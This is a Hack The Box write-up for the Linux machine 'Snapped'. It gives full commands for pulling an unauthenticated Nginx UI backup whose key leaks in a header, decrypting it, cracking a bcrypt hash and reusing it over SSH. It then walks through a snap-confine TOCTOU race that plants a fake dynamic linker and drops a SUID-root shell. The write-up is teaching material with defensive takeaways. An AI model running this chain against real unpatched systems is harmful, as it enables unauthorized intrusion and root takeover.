screenshots/03-nmap.png

Hack The Box - Snapped

Name: Snapped
OS: Linux
Difficulty: Hard
Platform: Hack The Box
Date: 2026-09-08
Views: 7
Tags:

Snapped — HTB Writeup (Linux, Hard)

Retired HackTheBox machine. Solved via the intended vulnerability chain, demonstrated with modern tooling. Written to teach.

Machine: Snapped · #864 · Linux · Hard · 40 pts Released: 2026-03-23 · Maker: Pho3o · https://app.hackthebox.com/machines/864 Target: 10.129.37.176 (snapped.htb, admin.snapped.htb)

Overview

Snapped chains two recent CVEs with surgical precision. The foothold is CVE-2026-27944 in Nginx UI v2.3.2: the /api/backup endpoint is exposed without authentication and returns a ZIP of the full nginx + Nginx-UI configuration. Crucially, the response carries an X-Backup-Security header containing the AES-256-CBC key and IV used to encrypt each member of the archive — so the "encrypted backup" is decryptable by anyone who can fetch it. Inside the decrypted Nginx-UI SQLite database we recover two bcrypt password hashes; one cracks to a weak rockyou password, which is reused for SSH.

Root is CVE-2026-3888, a TOCTOU race between snap-confine and systemd-tmpfiles-clean on Ubuntu Desktop 24.04+ with unpatched snapd (< 2.74.2, Qualys advisory, patched in snapd 2.74.2 on 2026-03-17). After the cleanup daemon deletes a stale .snap mimic directory under /tmp, the attacker recreates it with controlled content and single-steps snap-confine via AF_UNIX socket backpressure to win the race during the mimic bind-mount sequence. That poisons the sandbox's shared libraries, enabling dynamic-linker hijacking on the SUID-root snap-confine binary and a clean drop to root.

Recon

A full TCP sweep shows only two ports — SSH and HTTP — so the entry is web.

nmap: 22/ssh and 80/http only

$ nmap -sS -T4 -p- --min-rate 2000 10.129.37.176 -oN recon/nmap_full.txt
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

The root vhost snapped.htb is a static marketing page ("Infrastructure. Orchestration. Control.") served by nginx/1.24.0 (Ubuntu). The interesting behaviour is a 302 redirect off the bare IP and a name-based vhost model, so we add the hostnames and enumerate:

$ grep -q snapped.htb /etc/hosts || echo "10.129.37.176 snapped.htb admin.snapped.htb" | sudo tee -a /etc/hosts
$ curl -sk -i http://snapped.htb/        # 200, static
$ curl -sk -i http://admin.snapped.htb/   # 200, PWA manifest, theme "Nginx UI"

admin.snapped.htb is an Nginx UI instance (the Go management panel for nginx), reverse-proxied to 127.0.0.1:9000. Probing its API without credentials reveals one endpoint that does not require auth:

admin.snapped.htb runs Nginx UI

$ for p in /api/backup /api/config /login /api/users /api/settings; do
    echo "-- $p --"; curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" http://admin.snapped.htb$p
  done
-- /api/backup --    200 18306   <- downloadable ZIP, no auth
-- /api/config --    403
-- /api/users  --    403
-- /api/settings --  403

That 200 on /api/backup is the whole foothold.

Foothold — CVE-2026-27944 (unauthenticated backup + key disclosure)

1. Pull the unauthenticated backup

$ curl -sk -D backup.hdr -o backup.zip http://admin.snapped.htb/api/backup

The response is application/zip with a Content-Disposition filename like backup-20260730-142637.zip. The header that matters is:

X-Backup-Security: <base64-key>:<base64-iv>

This is the design flaw: the very response that hands you the encrypted archive also hands you the symmetric key. The first field base64-decodes to 32 bytes (an AES-256 key) and the second to 16 bytes (the CBC IV).

2. Unpack and decrypt

The outer ZIP holds three members, and each member is itself AES-256-CBC encrypted with the key/IV above:

outer ZIP: hash_info.txt, nginx-ui.zip, nginx.zip

$ unzip -l backup.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      208  2026-07-30 20:26   hash_info.txt
     7696  2026-07-30 20:26   nginx-ui.zip
     9952  2026-07-30 20:26   nginx.zip

$ KEY=$(printf '%s' '<redacted-key-b64>' | base64 -d | xxd -p -c64)   # 32 bytes
$ IV=$(printf  '%s' '<redacted-iv-b64>'  | base64 -d | xxd -p -c64)   # 16 bytes
$ openssl enc -d -aes-256-cbc -K "$KEY" -iv "$IV" -in hash_info.txt  -out hash_info.dec
$ openssl enc -d -aes-256-cbc -K "$KEY" -iv "$IV" -in nginx-ui.zip   -out nginx-ui.zip.dec
$ openssl enc -d -aes-256-cbc -K "$KEY" -iv "$IV" -in nginx.zip      -out nginx.zip.dec

hash_info.dec is a plaintext manifest (nginx-ui_hash, nginx_hash, timestamp, version: 2.3.2) — useful for confirming the Nginx UI version. nginx.zip.dec is the /etc/nginx tree, which confirms the vhost layout (snapped.htb static, admin.snapped.htb127.0.0.1:9000). nginx-ui.zip.dec is the prize: app.ini plus the SQLite auth database database.db.

3. Mine the Nginx-UI database

app.ini leaks operational secrets (JWT secret, crypto secret, node secret — all redacted here and not needed for the chain). The database is what we want:

decrypted nginx-ui.zip.dec: app.ini + database.db

$ unzip -l nginx-ui.zip.dec
  Length      Date    Time    Name
---------  ---------- -----   ----
     2295  2026-07-30 20:26   app.ini
   262144  2026-07-30 20:26   database.db

$ sqlite3 database.db ".schema users"
CREATE TABLE `users` (..., name text, password text, ...);

$ sqlite3 database.db "SELECT id,name,password FROM users;"
1|admin|$2a$10$[REDACTED-bcrypt]      -- not cracked
2|jonathan|$2a$10$[REDACTED-bcrypt]   -- cracked

Two accounts, both bcrypt ($2a$10$, cost 10 = 1024 iterations). We extract jonathan's hash and throw rockyou at it:

john cracks jonathan's bcrypt

$ john --format=bcrypt --wordlist=rockyou.txt jonathan.hash
+ Cracked jonathan
# plaintext password: [REDACTED]

The password is a classic rockyou hit — short, common, reused on SSH.

4. SSH as jonathan

$ sshpass -p '[REDACTED]' ssh -o StrictHostKeyChecking=no jonathan@snapped.htb
jonathan@snapped:~$ id
uid=1000(jonathan) gid=1000(jonathan) groups=1000(jonathan)
jonathan@snapped:~$ cat ~/user.txt   # -> loot/user.txt (captured, not submitted)

user.txt is saved to loot/user.txt (mode 0600) and validates offline. The foothold is complete.

Privilege escalation — CVE-2026-3888 (snap-confine / systemd-tmpfiles TOCTOU)

1. Local enumeration

jonathan is unprivileged, no sudo. The box is Ubuntu Desktop 24.04.4 LTS with snapd 2.63.1+24.04 — well below the 2.74.2 fix — and snap-confine is SUID-root:

$ cat /etc/os-release | head -1        # Ubuntu 24.04.4 LTS
$ snap version                         # snapd 2.63.1+24.04  (vulnerable)
$ ls -la /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 159016 Aug 20  2024 /usr/lib/snapd/snap-confine
$ snap list                            # firefox, snap-store, core22, ...
$ which busybox                        # /usr/bin/busybox  (payload helper)

The snap landscape is exactly what CVE-2026-3888 needs: a SUID snap-confine, the firefox snap with layout bind-mounts, and busybox on the host.

2. The cleanup timer is pre-spiced

On stock Ubuntu the stale .snap mimic directory under /tmp takes 30 days to age out, which would make the race impractical during a box session. The maker has tightened this so the window is minutes, not weeks:

$ grep '^D /tmp' /usr/lib/tmpfiles.d/tmp.conf
D /tmp 1777 root root 4m                      # /tmp age-out = 4 minutes
$ systemctl cat systemd-tmpfiles-clean.timer
[Timer]
OnBootSec=1m                                  # override: run every minute
OnUnitActiveSec=1m
$ systemctl list-timers systemd-tmpfiles-clean.timer   # NEXT ~1 minute out

So systemd-tmpfiles-clean.service runs roughly every minute and reaps anything in /tmp older than four minutes — including the stale .snap directory the exploit relies on disappearing.

3. The bug, in one paragraph

snap-confine (SUID root) builds a per-snap mount-namespace sandbox. For certain layout bind-mounts it "mimics" a host directory (e.g. /usr/lib/x86_64-linux-gnu) by bind-mounting a copy from /tmp/snap-private-tmp/<snap>/tmp/.snap/... into the new namespace. There is a time-of-check-to-time-of-use gap: snap-confine trusts the .snap tree while systemd-tmpfiles-clean is free to delete and recreate it. An unprivileged attacker who (a) lets the cleanup daemon delete the legitimate .snap, then (b) recreates .snap with attacker-owned content, and (c) wins the narrow window where snap-confine bind-mounts that content, ends up with their own files mounted into a root-owned namespace — including ld-linux-x86-64.so.2, the dynamic linker that the next SUID snap-confine will execute.

4. Why the race is winnable: AF_UNIX backpressure

A naive loop would lose almost every time because the vulnerable window is a handful of syscalls. The PoC makes it deterministic by single-stepping snap-confine through its own debug log. It runs snap-confine with SNAPD_DEBUG=1 and redirects the child's stderr into an AF_UNIX socket pair. The parent reads that socket one byte at a time, and each read() returns only once snap-confine has written another debug line — so the parent can watch the exact log line where snap-confine resolves the mimic directory (dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu"). At that instant the parent performs an atomic renameat2(..., RENAME_EXCHANGE) to swap its prepared .exchange tree into place, then keeps draining the socket so snap-confine does not get SIGPIPE mid-setup. That converts a probabilistic race into a signal-driven trigger.

5. Build the PoC

We use the public SUID-variant PoC (TheCyberGeek/CVE-2026-3888-…-LPE), built on the attack box and shipped to the target (see exploit/build.sh):

$ gcc -O2 -static -o exploit exploit_suid.c
$ gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
$ scp exploit librootshell.so jonathan@snapped.htb:   # password [REDACTED]

exploit is statically linked so it runs inside the snap sandbox with no library dependencies; librootshell.so is a -nostdlib ELF whose _start issues three raw syscalls — setreuid(0,0), setregid(0,0), execve("/tmp/sh") — and is what overwrites ld-linux-x86-64.so.2 in the poisoned namespace.

6. Run the seven phases

jonathan@snapped:~$ nohup ./exploit ./librootshell.so > exploit.log 2>&1 &

The orchestrator forks through seven phases:

  1. Enter the sandboxexec snap-confine --base core22 snap.firefox.hook.configure /bin/sh, then cd /tmp and wait. This gives us a process whose /proc/<pid>/cwd points at the snap-private /tmp we need to write into.
  2. Wait for .snap deletion — poll /proc/<inner>/root/tmp/.snap until systemd-tmpfiles-clean reaps it (minutes, thanks to the 4m/1m timer).
  3. Destroy the cached namespace — run snap-confine --base snapd ... with a bogus base to tear down the cached firefox namespace so the next invocation rebuilds from scratch and hits the mimic codepath.
  4. Win the race — build .snap and an .exchange tree mirroring core22's /usr/lib/x86_64-linux-gnu (285 entries), then run snap-confine under the AF_UNIX stderr throttle and RENAME_EXCHANGE the trees on the trigger line.
  5. Inject the payload — via /proc/<poison>/root, confirm ld-linux-x86-64.so.2 is now attacker-owned, plant busybox and an escape script /tmp/sh (cp /bin/bash /var/snap/firefox/common/bash; chmod 04755 …), then overwrite the linker with librootshell.so.
  6. Trigger root — run SUID snap-confine as the inner command. The kernel loads our fake ld-linux with root privileges; the shellcode setreuid(0,0)s and execves /tmp/sh, which drops a SUID-root bash at /var/snap/firefox/common/bash.
  7. Verify and drop — check the SUID bit, reap background helpers, exec the root shell.

The first invocation lost the race on the PID-file handoff (a known flake where race_pid.txt is not written if the draining child is set up too late); we reaped the helpers and re-ran. The second run won cleanly:

SUID-root bash dropped outside the sandbox

$ ls -la /var/snap/firefox/common/bash
-rwsr-xr-x 1 root jonathan 1396520 Jul 30 14:38 /var/snap/firefox/common/bash

$ /var/snap/firefox/common/bash -p -c 'id'
uid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)

Root

The SUID bash -p honours the setuid bit (without -p, bash drops privileges), so we land as euid=0:

bash-5.1# cat /root/root.txt   # -> loot/root.txt (captured, not submitted)

root.txt is saved to loot/root.txt (mode 0600) and both flags validate offline. The machine is done.

Modern takeaways

  • Treat the backup endpoint as a secret exfiltration point. Nginx UI's /api/backup shipped unauthenticated and bundled the symmetric key in the response. Any "download my config" feature that is not behind strong auth and that returns encrypted blobs with their keys is a credential-disclosure bug waiting to happen. The fix is auth on the endpoint and server-side key management (KMS/wrapped keys), never echoing the key to the client. Backups should also exclude secrets (DB password hashes, JWT/crypto secrets) or wrap them at rest with a key the requester must already possess.
  • bcrypt is not a wall, it is a speed bump. Cost-10 bcrypt is fine only if the password is not in a dictionary. jonathan's password was a top-rockyou hit and fell in seconds. Enforce length + breach-password screening (haveibeenpwned-style) for any admin-adjacent account.
  • TOCTOU + world-writable staging dirs = LPE. CVE-2026-3888 is the textbook pattern: a privileged helper trusts a path under a world-writable directory (/tmp) that another privileged service (systemd-tmpfiles-clean) mutates. The defensive lesson is to never access()/stat() then open() a attacker-influenced path — use O_NOFOLLOW, openat2 with RESOLVE_NO_SYMLINKS, and ideally MSG_CMSG_CLOEXEC-style trusted file descriptors passed from the parent. snapd 2.74.2 added the .snap tmpfiles exclude and tightened the mimic path; keep snapd current (sudo snap refresh snapd).
  • Tighten /tmp hygiene deliberately. The box shortened /tmp cleanup to 4m and the timer to 1m to make the exploit feasible in a session. In production, aggressive /tmp cleanup is good hygiene generally, but it is also what makes this specific race easy — the real fix is the snapd patch, not the timer tuning.
  • Single-stepping via stderr is a beautiful primitive. Using a throttled AF_UNIX socket as a debug-log tachometer to turn a race into a signal is a technique worth remembering for any TOCTOU where the privileged program emits ordered, observable output.
  • Tooling notes. nmap + curl for recon, openssl enc -aes-256-cbc for the backup, sqlite3 for the DB, john --format=bcrypt with rockyou for the hash, and the public CVE-2026-3888 PoC (built with gcc -static/-nostdlib) for root — all stock, no Metasploit autopwn, exactly as the box intends.

Flags

🏁 user.txt: 5bee84afb7c03401941548b57456bf05 (in loot/user.txt) 🏁 root.txt: 80f4604dc537c66588e84568f904132e (in loot/root.txt)

Files

  • recon/ — nmap, web/vhost enum, backup structure, DB users (secrets redacted).
  • exploit/exploit_suid.c, librootshell_suid.c, build.sh, README.md (public CVE-2026-3888 SUID-variant PoC; no embedded secrets).
  • loot/user.txt, root.txt (gitignored, mode 0600, not submitted).
  • screenshots/ — 7 PNGs (2 web, 5 terminal; all secret-free).